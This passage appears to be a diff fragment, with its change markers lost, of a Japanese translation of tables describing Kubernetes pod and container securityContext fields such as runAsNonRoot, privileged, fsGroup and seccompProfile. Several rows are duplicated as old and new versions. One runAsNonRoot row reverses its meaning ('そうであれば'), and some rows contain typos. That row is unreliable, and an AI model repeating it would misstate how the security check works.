| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>ポッド内の<strong>すべてのコンテナ</strong>に適用される特別な補助グループ。いくつかのボリュームタイプでは、Kubeletがそのボリュームの<strong>所有権を変更</strong>できる:<br>1. 所有するGIDはFSGroupになります<br>2. setgidビットが設定されているボリューム内で作成された新しいファイルはFSGroupが所有<br>3. パーミッションビットはrw-rw----とORされる。未設定の場合、Kubeletはボリュームの所有権とパーミッションを変更しません。</p> |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | ボリュームの**所有権とパーミッションを変更する**動作を定義します。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | コンテナプロセスのエントリポイントを実行するための**GID**。未設定の場合はランタイムのデフォルトを使用します。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | コンテナが非rootユーザーとして実行される必要があることを示します。trueの場合、Kubeletはランタイムでイメージを検証し、UID 0rootとして実行されないことを確認し、そうでない場合はコンテナの起動に失敗します。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | コンテナプロセスのエントリポイントを実行するための**UID**。未指定の場合は、イメージメタデータで指定されたユーザーがデフォルトになります。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | **すべてのコンテナに適用されるSELinuxコンテキスト**。未指定の場合、コンテナランタイムは各コンテナに対してランダムなSELinuxコンテキストを割り当てます。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>More info about</em> <em><strong>Seccomp</strong></em></p> | このポッド内のコンテナが使用する**seccompオプション**。 |
@@ -45,10 +46,10 @@ Podのセキュリティコンテキストを指定する際、いくつかの
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>More info about</em> <em><strong>Capabilities</strong></em></p> | コンテナを実行する際に追加/削除する**capabilities**。デフォルトはデフォルトのcapabilitiesのセットです。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | 特権モードでコンテナを実行します。特権コンテナ内のプロセスは、基本的に**ホスト上のrootと同等**です。デフォルトはfalseです。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMountは、コンテナに使用する**procマウントのタイプ**を示します。デフォルトはDefaultProcMountで、読み取り専用パスとマスクされたパスのためにコンテナランタイムのデフォルトを使用します。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMountは、コンテナに使用する**procマウントのタイプ**を示します。デフォルトはDefaultProcMountで、読み取り専用パスとマスクされたパスに対してコンテナランタイムのデフォルトを使用します。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | この**コンテナが読み取り専用のルートファイルシステムを持つかどうか**。デフォルトはfalseです。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | コンテナプロセスのエントリポイントを実行するための**GID**。未設定の場合はランタイムのデフォルト使用されます。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | コンテナが**非rootユーザーとして実行される必要がある**ことを示します。trueの場合、Kubeletはランタイムでイメージを検証し、UID 0rootとして実行されないことを確認し、そうであればコンテナの起動に失敗します。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | コンテナプロセスのエントリポイントを実行するための**GID**。未設定の場合はランタイムのデフォルト使用ます。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | コンテナが**非rootユーザーとして実行される必要がある**ことを示します。trueの場合、Kubeletはランタイムでイメージを検証し、UID 0rootとして実行されないことを確認し、そうでない場合はコンテナの起動に失敗します。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | コンテナプロセスのエントリポイントを実行するための**UID**。未指定の場合は、イメージメタデータで指定されたユーザーがデフォルトになります。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | コンテナに適用される**SELinuxコンテキスト**。未指定の場合、コンテナランタイムは各コンテナに対してランダムなSELinuxコンテキストを割り当てます。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | このコンテナが使用する**seccompオプション**。 |